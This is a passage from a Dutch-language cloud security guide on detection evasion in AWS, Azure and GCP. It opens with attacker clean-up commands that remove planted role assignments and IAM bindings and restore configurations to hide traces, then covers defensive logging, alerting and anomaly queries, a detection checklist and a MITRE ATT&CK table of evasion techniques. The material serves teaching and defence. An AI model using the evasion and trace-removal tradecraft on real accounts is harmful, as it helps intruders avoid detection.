aws s3api put-bucket-notification-configuration \
  --bucket modified-bucket \
  --notification-configuration file://original-notification.json

# Route53 records terugzetten
aws route53 change-resource-record-sets \
  --hosted-zone-id Z1234567890 \
  --change-batch file://original-records.json

# Azure: verwijder custom role definitions
az role definition delete --name "Diagnostics Reader"

# Azure: verwijder role assignments
az role assignment delete \
  --assignee ATTACKER_SP_ID \
  --role Contributor \
  --scope /subscriptions/SUB_ID

# GCP: verwijder IAM bindings
gcloud projects remove-iam-policy-binding PROJECT_ID \
  --member="serviceAccount:attacker-sa@project.iam.gserviceaccount.com" \
  --role="roles/editor"

IB Tip: De ironie van clean-up is dat elke clean-up actie zelf ook wordt gelogd. DeleteAccessKey, DeleteRole, UpdateAssumeRolePolicy – het zijn allemaal management events. Een goed security team kan de “clean-up trail” volgen om te reconstrueren wat de aanvaller heeft gedaan. De les: bewaar altijd de originele configuratie en zet die exact terug, in plaats van resources te verwijderen en opnieuw aan te maken.


Verdedigingsmaatregelen

De ironie van dit hoofdstuk: je hebt net geleerd hoe je detectie kunt ontwijken, en nu gaan we uitleggen hoe je die ontwijking kunt detecteren. Het is een eeuwige wapenwedloop, en dat is eigenlijk best grappig als je er lang genoeg over nadenkt. Of deprimerend. Een van de twee.

Organization-Wide Trails

# AWS: Configureer een organization trail met data events
aws cloudtrail create-trail \
  --name org-comprehensive-trail \
  --s3-bucket-name org-audit-central \
  --is-organization-trail \
  --is-multi-region-trail \
  --enable-log-file-validation \
  --include-global-service-events \
  --kms-key-id arn:aws:kms:eu-west-1:111111111111:key/KEY_ID

# Voeg data events toe
aws cloudtrail put-event-selectors \
  --trail-name org-comprehensive-trail \
  --advanced-event-selectors '[
    {
      "Name": "Log all S3 data events",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Data"]},
        {"Field": "resources.type", "Equals": ["AWS::S3::Object"]}
      ]
    },
    {
      "Name": "Log all Lambda invocations",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Data"]},
        {"Field": "resources.type", "Equals": ["AWS::Lambda::Function"]}
      ]
    },
    {
      "Name": "Log all management events",
      "FieldSelectors": [
        {"Field": "eventCategory", "Equals": ["Management"]}
      ]
    }
  ]'

# Enable insights
aws cloudtrail put-insight-selectors \
  --trail-name org-comprehensive-trail \
  --insight-selectors '[
    {"InsightType": "ApiCallRateInsight"},
    {"InsightType": "ApiErrorRateInsight"}
  ]'

SIEM Integration

# AWS: Stuur CloudTrail naar CloudWatch Logs voor real-time alerting
aws cloudtrail update-trail \
  --name org-comprehensive-trail \
  --cloud-watch-logs-log-group-arn arn:aws:logs:eu-west-1:111111111111:log-group:CloudTrail:* \
  --cloud-watch-logs-role-arn arn:aws:iam::111111111111:role/CloudTrail-CWL-Role

# Creeer metric filters voor verdachte activiteiten
# IAM user creation
aws logs put-metric-filter \
  --log-group-name CloudTrail \
  --filter-name IAMUserCreation \
  --filter-pattern '{ $.eventName = "CreateUser" }' \
  --metric-transformations \
    metricName=IAMUserCreation,metricNamespace=Security,metricValue=1

# Access key creation
aws logs put-metric-filter \
  --log-group-name CloudTrail \
  --filter-name AccessKeyCreation \
  --filter-pattern '{ $.eventName = "CreateAccessKey" }' \
  --metric-transformations \
    metricName=AccessKeyCreation,metricNamespace=Security,metricValue=1

# Trust policy modification
aws logs put-metric-filter \
  --log-group-name CloudTrail \
  --filter-name TrustPolicyChange \
  --filter-pattern '{ $.eventName = "UpdateAssumeRolePolicy" }' \
  --metric-transformations \
    metricName=TrustPolicyChange,metricNamespace=Security,metricValue=1

# Creeer alarms
aws cloudwatch put-metric-alarm \
  --alarm-name "IAM-User-Created" \
  --metric-name IAMUserCreation \
  --namespace Security \
  --statistic Sum \
  --period 300 \
  --threshold 1 \
  --comparison-operator GreaterThanOrEqualToThreshold \
  --evaluation-periods 1 \
  --alarm-actions arn:aws:sns:eu-west-1:111111111111:security-alerts

Anomaly Detection

# Azure: KQL query voor anomalous sign-in detection
# In Log Analytics / Azure Sentinel:

# Ongewone sign-in locaties voor service principals
# SigninLogs
# | where AppDisplayName != ""
# | where ResultType == 0
# | summarize
#     locations = make_set(Location),
#     count = count()
#   by AppDisplayName, AppId
# | where array_length(locations) > 3

# AWS: Athena query voor ongewone AssumeRole patronen
# Maak een Athena tabel op de CloudTrail S3 bucket
# en query voor:
# - AssumeRole vanuit onbekende source accounts
# - AssumeRole met ongewoon lange durations
# - AssumeRole met verdachte session names

# GCP: BigQuery export van audit logs
# bq query '
#   SELECT
#     protopayload_auditlog.authenticationInfo.principalEmail,
#     protopayload_auditlog.methodName,
#     protopayload_auditlog.requestMetadata.callerIp,
#     COUNT(*) as call_count
#   FROM `project.dataset.cloudaudit_googleapis_com_activity_*`
#   WHERE _TABLE_SUFFIX >= FORMAT_DATE("%Y%m%d", DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
#   GROUP BY 1, 2, 3
#   HAVING call_count > 100
#   ORDER BY call_count DESC
# '

Complete Detection Checklist

+--------------------------------------------+----------+----------+----------+
| Detectie Control                           | AWS      | Azure    | GCP      |
+--------------------------------------------+----------+----------+----------+
| Multi-region/all-subscription logging      | CloudTrail| Activity | Org Audit|
|                                            | org trail| Log      | Logs     |
+--------------------------------------------+----------+----------+----------+
| Data plane logging                         | Data     | Diagnostic| Data    |
|                                            | Events   | Settings | Access   |
+--------------------------------------------+----------+----------+----------+
| Threat detection service                   | GuardDuty| Defender | SCC      |
|                                            |          | for Cloud|          |
+--------------------------------------------+----------+----------+----------+
| IAM change alerts                          | CW Alarm | Sentinel | Cloud    |
|                                            | + Filter | Rule     | Monitoring|
+--------------------------------------------+----------+----------+----------+
| Anomalous login detection                  | GuardDuty| Identity | N/A      |
|                                            |          | Protection|         |
+--------------------------------------------+----------+----------+----------+
| Service principal monitoring               | IAM      | SP Sign- | SA Key   |
|                                            | Analyzer | in Logs  | Usage    |
+--------------------------------------------+----------+----------+----------+
| Cross-account activity monitoring          | Org trail| Lighthouse| Org     |
|                                            |          | audit    | Audit    |
+--------------------------------------------+----------+----------+----------+
| DNS query logging                          | Route53  | DNS      | Cloud    |
|                                            | Query Log| Analytics| DNS Log  |
+--------------------------------------------+----------+----------+----------+
| Network flow logging                       | VPC Flow | NSG Flow | VPC Flow |
|                                            | Logs     | Logs     | Logs     |
+--------------------------------------------+----------+----------+----------+
| Configuration change tracking              | Config   | Change   | Asset    |
|                                            | Rules    | Tracking | Inventory|
+--------------------------------------------+----------+----------+----------+

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Event selector manipulation T1562.008 - Disable Cloud Logs CloudTrail event selectors Diagnostic settings Audit config exemptions
Region-based evasion T1562.008 - Disable Cloud Logs Non-trailed regions Non-monitored subscriptions Non-audited projects
Non-logged API abuse T1562.008 - Disable Cloud Logs Data events (S3, Lambda) Data plane without diagnostics Data access without config
GuardDuty/Defender evasion T1562.001 - Disable or Modify Tools GuardDuty blind spots Defender for Cloud gaps SCC detection gaps
Cloud Shell as proxy T1090 - Proxy AWS CloudShell Azure Cloud Shell GCP Cloud Shell
Target compute usage T1584.004 - Server SSM Session Manager Azure Bastion gcloud compute ssh
Temporary credentials T1550.001 - Application Access Token STS session tokens Managed Identity tokens SA access tokens
Session name spoofing T1036 - Masquerading AssumeRole session name N/A N/A
User agent manipulation T1036.005 - Match Legitimate Name SDK/CLI user agent REST API user agent gcloud/API user agent
Rate limit awareness T1029 - Scheduled Transfer API throttling avoidance ARM rate limits Quota-aware operations
Log retention exploitation T1070.009 - Clear Persistence CloudTrail S3 retention Activity Log 90-day limit 400-day log retention
False positive generation T1562.006 - Indicator Blocking GuardDuty noise Defender alert flooding SCC finding noise
Trace removal T1070 - Indicator Removal Resource deletion Resource deletion Resource deletion
Credential reset cleanup T1070.004 - File Deletion Access key deletion App credential removal SA key deletion
Config restoration T1070 - Indicator Removal Trust policy rollback Role assignment cleanup IAM binding removal
Managed identity exploitation T1550.001 - Application Access Token EC2 instance profile System/User managed identity GCE service account
Service principal stealth T1078.004 - Cloud Accounts N/A SP sign-in (separate log) SA token (audit log)
DNS-based evasion T1071.004 - DNS Route53 resolver logging Azure DNS Analytics Cloud DNS logging
Data event blind spots T1530 - Data from Cloud Storage S3 GetObject (no data events) Blob read (no diagnostics) GCS read (no data access)

Het ultieme inzicht over cloud evasion: de beste manier om niet gedetecteerd te worden is niet het vermijden van logs – het is het genereren van activiteit die er precies zo uitziet als wat er hoort te staan. In een omgeving met duizenden API-calls per minuut is de beste vermomming normaliteit.